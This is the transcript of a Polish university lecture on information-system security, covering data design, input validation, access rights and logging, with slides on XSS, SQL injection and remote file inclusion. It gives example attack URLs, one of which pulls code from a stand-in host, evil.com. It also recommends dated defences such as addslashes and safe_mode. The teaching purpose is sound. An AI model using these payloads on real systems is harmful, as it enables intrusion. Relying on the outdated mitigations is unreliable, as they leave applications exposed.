Projektowani Systemów Inf.



Podobne dokumenty
Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Autor: Joanna Karwowska

Bazy danych. Wykład IV SQL - wprowadzenie. Copyrights by Arkadiusz Rzucidło 1

Bezpieczeństwo systemów komputerowych

Szczegółowy opis zamówienia:

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Bezpieczeństwo aplikacji. internetowych. 2. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

6. Bezpieczeństwo przy współpracy z bazami danych

XQTav - reprezentacja diagramów przepływu prac w formacie SCUFL przy pomocy XQuery

Karta (sylabus) modułu/przedmiotu Mechanika i Budowa Maszyn Studia I stopnia

Aplikacje WWW - laboratorium

Technologie Internetowe Raport z wykonanego projektu Temat: Internetowy sklep elektroniczny

E-commerce. Genialnie proste tworzenie serwisów w PHP i MySQL.

Kurs rozszerzony języka Python

LK1: Wprowadzenie do MS Access Zakładanie bazy danych i tworzenie interfejsu użytkownika

Aplikacje WWW - laboratorium

Aspekty bezpieczeństwa aplikacji internetowych

Języki programowania wysokiego poziomu. Ćwiczenia

ZAAWANSOWANE BAZY DANYCH I HURTOWNIE DANYCH MySQL, PHP

Projektowanie systemów baz danych

Elektroniczny Case Report Form

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

PROGRAM NAUCZANIA DLA ZAWODU TECHNIK INFORMATYK, O STRUKTURZE PRZEDMIOTOWEJ

Specyfikacja implementacyjna aplikacji serwerowej

Podstawowe pojęcia dotyczące relacyjnych baz danych. mgr inż. Krzysztof Szałajko

PHP: bazy danych, SQL, AJAX i JSON

Wykład 5: PHP: praca z bazą danych MySQL

Dokumentacja systemu NTP rekrut. Autor: Sławomir Miller

Bazy Danych i Usługi Sieciowe

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

Bazy danych i strony WWW

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

Obiektowy PHP. Czym jest obiekt? Definicja klasy. Składowe klasy pola i metody

Program szkolenia: Bezpieczny kod - podstawy

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

2.11. Monitorowanie i przegląd ryzyka Kluczowe role w procesie zarządzania ryzykiem

Spis treści Wstęp 1. Wprowadzenie 2. Zarządzanie ryzykiem systemów informacyjnych

Baza danych do przechowywania użytkowników

Aplikacje WWW - laboratorium

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

ZAŁĄCZNIK Nr 3 do CZĘŚCI II SIWZ

TIN Techniki Internetowe zima

Laboratorium Technologii Informacyjnych. Projektowanie Baz Danych

ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ

4 Web Forms i ASP.NET Web Forms Programowanie Web Forms Możliwości Web Forms Przetwarzanie Web Forms...152

Aplikacje internetowe - laboratorium

Programowanie w Sieci Internet Python - c. d. Kraków, 28 listopada 2014 r. mgr Piotr Rytko Wydział Matematyki i Informatyki

PHP i MySQL dla każdego / Marcin Lis. Wyd. 3. Gliwice, cop Spis treści

Liczba godzin 1,2 Organizacja zajęć Omówienie programu nauczania 2. Tematyka zajęć

Ogólny plan przedmiotu. Strony WWW. Literatura BAZY DANYCH. Materiały do wykładu:

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

Praca Magisterska "System zdalnego składania ofert kupna i sprzedaży za pośrednictwem Internetu" AUTOR PROMOTOR

Instrukcja Użytkownika Systemu Zarządzania Tożsamością Wersja. 1.0

Dokumentacja interfejsu HTTPD. Platforma BSMS.PL Instrukcja podłączenia po przez http

Zajęcia 11 wykorzystanie MySQL w PHP

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Dział Temat lekcji Ilość lekcji. godz. 1 Organizacja zajęć Omówienie programu nauczania 3

INFORMATYKA MÓJ SPOSÓB NA POZNANIE I OPISANIE ŚWIATA PROGRAM NAUCZANIA INFORMATYKI Z ELEMENTAMI PRZEDMIOTÓW MATEMATYCZNO-PRZYRODNICZYCH

Ćwiczenia laboratoryjne nr 11 Bazy danych i SQL.

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Podstawy JavaScript ćwiczenia

Aplikacje WWW i PHP - opis przedmiotu

KARTA PRZEDMIOTU. Programowanie aplikacji internetowych

DOKUMENTACJA TECHNICZNA KurJerzyAPI wersja 1.0

Dokumentacja smsapi wersja 1.4

Sklep Internetowy (HTML/xHTML, CSS, JavaScript, PHP, MySQL)

5. Współpraca z bazą danych MySQL

Część I Rozpoczęcie pracy z usługami Reporting Services

Drobne błędy w portalach WWW

Dlaczego PHP? - zalety

Definiowanie filtrów IP

Budowa aplikacji ASP.NET współpracującej z bazą dany do przeprowadzania ankiet internetowych

Plan. Formularz i jego typy. Tworzenie formularza. Co to jest formularz? Typy formularzy Tworzenie prostego formularza Budowa prostego formularza

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Języki programowania wysokiego poziomu. Forum

Budowa aplikacji ASP.NET współpracującej z bazą dany do przeprowadzania ankiet internetowych

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

Języki programowania wysokiego poziomu. Blog

Bazy danych. Wykład V Kwerendy. Copyrights by Arkadiusz Rzucidło 1

Warszawa, 25 lipca 2014 r.

Bazy danych II. Andrzej Grzybowski. Instytut Fizyki, Uniwersytet Śląski

1. Opis ogólny. 2. Opis techniczny. 3. Wymagania techniczne

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Systemy GIS Systemy baz danych

Aplikacja do zarządzania kontami bankowymi

Oracle PL/SQL. Paweł Rajba.

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

ZASADY KORZYSTANIA Z PLIKÓW COOKIES ORAZ POLITYKA PRYWATNOŚCI W SERWISIE INTERNETOWYM PawłowskiSPORT.pl

learningpanel - logowanie

Telesprzedaż by CTI Instrukcja

Scenariusz lekcji. Scenariusz lekcji 1 TEMAT LEKCJI: Tworzenie prostych skryptów w PHP 2 CELE LEKCJI: 2.1 Wiadomości: 2.

Internetowe bazy danych

DECLARE VARIABLE zmienna1 typ danych; BEGIN

Transkrypt:

Projektowani Systemów Inf. Wykład VII Bezpieczeństwo Copyrights by Arkadiusz Rzucidło 1

Bezpieczeństwo Bezpieczeństwo związane z danymi Konstrukcja magazynów danych Mechanizmy zapisu i modyfikacji danych Bezpieczeństwo związane z przetwarzaniem Konstrukcja interfejsu użytkownika Proces weryfikacji i analizy wprowadzanych danych Organizacja uprawnieniami w systemie Bezpieczeństwo związane z technologią Koncepcja systemu Użyte technologie Copyrights by Arkadiusz Rzucidło 2

Konstrukcja magazynów danych Konstrukcja struktury magazynów danych Podział danych w tabelach Ustalenie związków między danymi w tabelach Ustalenie zależności integralności Dobór atrybutów dla encji Dobór typów danych dla poszczególnych atrybutów Dostęp do bazy danych Posiadający wszystkie prawa do danych Z ograniczonymi uprawnieniami do danych Copyrights by Arkadiusz Rzucidło 3

Konstrukcja interfejsu użytkownika Konstrukcja interfejsu Rozmieszczenie formantów w formularzach Dobór odpowiednich typów formantów dla danych Maski wprowadzania danych Format prezentacji danych Ograniczenie ilości informacji tylko do niezbędnych Scenariusz wprowadzania danych Zachowanie integralności danych i spójności magazynów Potwierdzenia operacji na danych Pomoc i podpowiedzi podczas edycji danych Copyrights by Arkadiusz Rzucidło 4

Mechanizmy analizy wprowadzanych danych Funkcje weryfikujące poprawność danych Mechanizmy sprawdzające poprawności wprowadzanych danych Informacja właściwa dla typu danych pola Zgodność merytoryczna Ograniczona możliwość weryfikacji Typ formantów: pola wyboru, pola kombi, pola listy Mechanizmy usuwające zbędne znaki sterujące lub spacje Reakcja na pojawiając się błędy wynikające z niepoprawnie wypełnionych pól danych Potwierdzanie wykonania lub zaniechania wykonania operacji na danych Użytkownik nie widzi co dzieje się w bazie danych Copyrights by Arkadiusz Rzucidło 5

Proces przetwarzania Funkcje i procedury Budowa aplikacji bazującej na funkcjach pozwala w prostszy sposób panować nad procesem przetwarzania Rodzaj przetwarzanie danych U klienta komunikacja na zasadzie synchronizacji połączenia komutowane Na serwerze komunikacja on-line Reakcja na błędy Znane, określone i przewidziane Nieokreślone W etapie projektowania Wynikające z błędnych założeń Wynikające z błędnie interpretowanych danych (np. dziel. przez 0) Copyrights by Arkadiusz Rzucidło 6

Proces zapisu danych Hierarchizacja danych Dane zwykłe chronione w ograniczonym zakresie Dane wrażliwe z ograniczonym dostępem Dane szczególnie wrażliwe ściśle tajne specjalne mechanizmy ochrony danych Szyfrowanie Specjalne procedury logowania (np. hasła jednorazowe) Zapis i modyfikacja danych zgodnie z regułami integralności danych Dane słownikowe; Wiązanie danych w transakcje Zapis i modyfikacja danych zgodnie z posiadanymi uprawnieniami Mechanizmy transakcji ochrona danych Copyrights by Arkadiusz Rzucidło 7

Interpretacja zmiennych Przekazywanie parametrów przetwarzania przez kolejne elementy scenariusza aplikacji Zastosowanie zmiennych sesji Zastosowanie funkcji sprawdzania zgodności parametrów ze zbiorem dostępnych Działania domyślne Reakcja na wystąpienie błędu Copyrights by Arkadiusz Rzucidło 8

Hierarchizacja praw dostępu do systemu Procedury i funkcje pobierania danych z baz danych Właściwe planowanie kontami w systemie Identyfikatory i hasła dostępu do systemu Hierarchia i typy kont Konto publiczne Autoryzowani użytkownicy Administratorzy Mechanizmy uwierzytelniania użytkowników systemu Dostęp publiczny Dostęp autoryzowany Sesje Hasła Rejestracja obecności użytkowników w systemie i prób wtargnięcia przez intuzów Copyrights by Arkadiusz Rzucidło 9

Pomysł na system Subiektywne pojmowanie procesu przetwarzania danych Błędy w istniejącym procesie przetwarzania Błędy w koncepcji nowy system Dobór technologii dla opracowania systemu Systemy stacjonarne i rozproszone Systemy autonomiczne i modułowe Współpraca z innymi systemami System jest tak bezpieczny jak bezpieczny jest jego najsłabsze ogniwo Mechanizmy rejestrowania zdarzeń Opracowanie dzienników zdarzeń Wykrywanie nieautoryzowanych działań Reakcja na incydenty System powiadamiania o incydentach Copyrights by Arkadiusz Rzucidło 10

Słabych stron technologii Związane z mechanizmami serwerów np. WWW Organizacja danymi (Access, MySQL) Niedomagania i znane błędy technologii właściwej dla interfejsu systemu Copyrights by Arkadiusz Rzucidło 11

Przemycenie skryptu XSS Cross Site Scripting polega na przemyceniu kodu JavaScript VBScript do przeglądarki użytkownika odwiedzającego stronę i ujawnienie np. danych cookie Zapobieganie polega na filtrowaniu zmiennych przekazywanych przez użytkownika do każdego skryptu tak, aby uniemożliwić przesłanie kodu HTML <?php echo $zmienna;?> http://www.host.com/skrypt.php?zmienna=<script>alert( coś złego ) ;</script> Po wywołaniu kodu przeglądarka użytkownika wykona załączony fragment kodu co spowoduje otwarcie okienka z napisem coś złego <?php echo strip_tags($zmienna);?> Copyrights by Arkadiusz Rzucidło 12

Przemycenie części zapytania SQL SQL Injection dotyczą aplikacji korzystających z baz danych i przyjmują dane wejściowe od użytkownika. Polegają na możliwości przemycenia części zapytania SQL jako argumentu do innego zapytania SQL Zapobieganie filtrowanie zmiennych addslashes() <?php mysql_query( Select * from tabela where id= $zmienna );?> http://www.host.com/skrypt.php?zmienna= or 1; Może spowodować wyświetlenie wszystkich wierszy z bazy <?php $zmienna_ok = addslashes($zmienna); mysql_query( Select * from tabela where id= $zmienna_ok );?> Copyrights by Arkadiusz Rzucidło 13

Niebezpieczne funkcje PHP zezwala np. na otwieranie zdalnego pliku, co w wielu przypadkach może stanowić ogromne zagrożenie dla bezpieczeństwa <?php include $file.php ;?> Fragment powyższy pozwoli na otwarcie nie tylko lokalnego pliku.php ale także na otwarcie pliku zdalnego http://www.host.com/skrypt.php?file=http://www.evil.com/evil W takim przypadku kod z podanego adresu zostanie wykonany na serwerze Duża część zagrożeń może zostać zniwelowana przez włączenie safe_mode Copyrights by Arkadiusz Rzucidło 14

Koniec Źródła: L.Welling, L.Thomson; PHP i MySQL. Tworzenie stron WWW, Helion 2002. Copyrights by Arkadiusz Rzucidło 15